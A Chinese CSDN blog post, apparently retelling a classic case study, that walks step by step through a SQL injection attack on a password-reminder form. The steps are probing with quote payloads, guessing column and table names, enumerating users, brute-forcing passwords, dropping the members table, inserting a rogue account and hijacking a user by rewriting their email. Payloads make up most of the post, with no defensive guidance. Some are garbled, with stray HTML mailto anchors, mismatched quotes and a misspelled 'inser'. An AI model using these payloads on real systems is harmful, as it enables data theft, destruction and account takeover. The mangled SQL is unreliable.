欢迎使用CSDN-markdown编辑器
来源:互联网 发布:淘宝要求3c认证 编辑:程序博客网 时间:2024/04/29 03:33
案例
**场景:传统的用户-密码表单登入页面+页面上有“把我的密码邮给我”链接
猜测SQL
代码如下,table具体的名字不知道**
SELECT fieldlist from table where field='$email';
第一步:
- 开始试探
:
$email=342361454@qq.com'';
->sql执行,sql解析器发现多余引号中断执行,并提示语法错误
->应用并没有对用户输入进行过滤
- 继续试探
$email=anything' or 'x'='x
->应用将所有密码信息发送给了 random.person@example.com
->random.person@example.com应该是数据表中的第一个邮件地址
第二步:
猜测邮件字段名:“email”,“email_address”,“mail”
$email=x’ and email is null;--
->and语句使得应用不会给任何用户发送密码邮件,同时也可以用来猜测字段名
->如果返回“邮件地址未知”的响应,则说明email字段名正确,否则继续尝试新的字段名
猜测密码字段名:“password”,“userID”,“name”
$email=x' and userid is null;--
->根据“密码未知”响应,确定密码的字段名为userid
第三步:
寻找数据库表名:利用子查询
- 开始试探:
$email=x' and 1=(select count(*) from tabname); --
->多次尝试后,发现提示“邮件未知”错误的时候,tabname='members'
->'members'
是一个有效的字段名
- 继续探索:
$email=x' and members.email is null; --
->当返回“邮件未知”错误时,说明members表就是当前查询的表
第四步:
找用户账号
- 开始寻找:
公司官网:about us
或者 contact
页面提供的公司成员列表、邮件地址 like
从句可以进行用户查询
$email=x' or full_name like '%Bob%
->like从句越精炼,获取的信息就越精准
第五步:
密码暴力破解
尽管很多系统都做了监控、防御,但是因为存在未过滤的输出,它们仍然可以被绕过
$email=<a href="mailto:bob@example.com"> bob@example.com</a> and passwd='hello123'
->只要得到“your password has been mailed to you”
,则证明该密码正确
沉痛的伤害:
select email,passwd,login_id,full_name from members where email=’x‘;drop table members;--’
->一旦发现了你的表名,你的表很容易就恶意删除
添加新用户
我们已经了解了members
表的局部结构,添加一条新的记录进去,则可以以新插入的身份登入到
系统了。
select email,passwd,login_id,full_name from members where email=‘x’;
inser into members (‘email’,‘passwd’,‘login_id’,‘full_name’)values (‘steve@phicomm.com’,‘hello’,‘Steve’,‘Steve fried1’);--';
几件需要了解的事:
web表单可能没有足够的空间键入这么多文本
web应用可能没有members表的insert权限
members
表里面肯定还有其他字段,有一些需要初始值,可能会引起insert失效即使插入了一条新记录,应用也可能不正常运行,因为无法提供其他字段值
一个正确的用户可能不只需要在members表内插入一条新记录,可能还需要结合其他表信息。
假设成功插入了一条新记录,但是无法登入成功
->这可能是后面两个原因导致的,很难正确处理
select email, passwd, login_id, full_name from members where email='x';update members set email=<a href="mailto: [steve@phicomm.com](steve@phicomm.com)"> steve@phicomm.com <a/>where email=<a href="mailto :[bob@example.com](bob@example.com)"> bob@phicomm.com <a/>';
->这样就可以解决后面两个原因所涉及的问题
使用“i lost my password”
功能,使用刚刚更新email
地址,一分钟后收到密码,然后就能按标准流程正常登入系统,从而获取更多的信息,包括全用户列表等,能够帮助web用户绘制数据库结构,为进一步的渗透提供了一条林荫大道
- 欢迎使用CSDN-markdown编辑器
- 欢迎使用CSDN-markdown编辑器
- 欢迎使用CSDN-markdown编辑器
- 欢迎使用CSDN-markdown编辑器
- 欢迎使用CSDN-markdown编辑器
- 欢迎使用CSDN-markdown编辑器
- 欢迎使用CSDN-markdown编辑器
- 欢迎使用CSDN-markdown编辑器
- 欢迎使用CSDN-markdown编辑器
- 欢迎使用CSDN-markdown编辑器
- 欢迎使用CSDN-markdown编辑器
- 欢迎使用CSDN-markdown编辑器
- 欢迎使用CSDN-markdown编辑器
- 欢迎使用CSDN-markdown编辑器
- 欢迎使用CSDN-markdown编辑器
- 欢迎使用CSDN-markdown编辑器
- 欢迎使用CSDN-markdown编辑器
- 欢迎使用CSDN-markdown编辑器
- 关注民生民情——华北水利水电大学“情艺”国情社情滴哦超
- 2017 08 21 小结
- poj 3254 Corn Fields(他们说是状压dp??)
- TCP面试过程中经常遇到的问题
- 最长上升序列(动态规划)
- 欢迎使用CSDN-markdown编辑器
- UIView的drawHierarchy vs CALayer的render
- 8.21
- 疯狂Java笔记之面向对象的陷阱
- 百练 3723 围棋(dfs)
- Protecting Zonk UVA
- Shell脚本中的字符串测试
- anaconda与pip install, sudo pip install
- HDU 6050 Funny Function(矩阵快速幂或公式)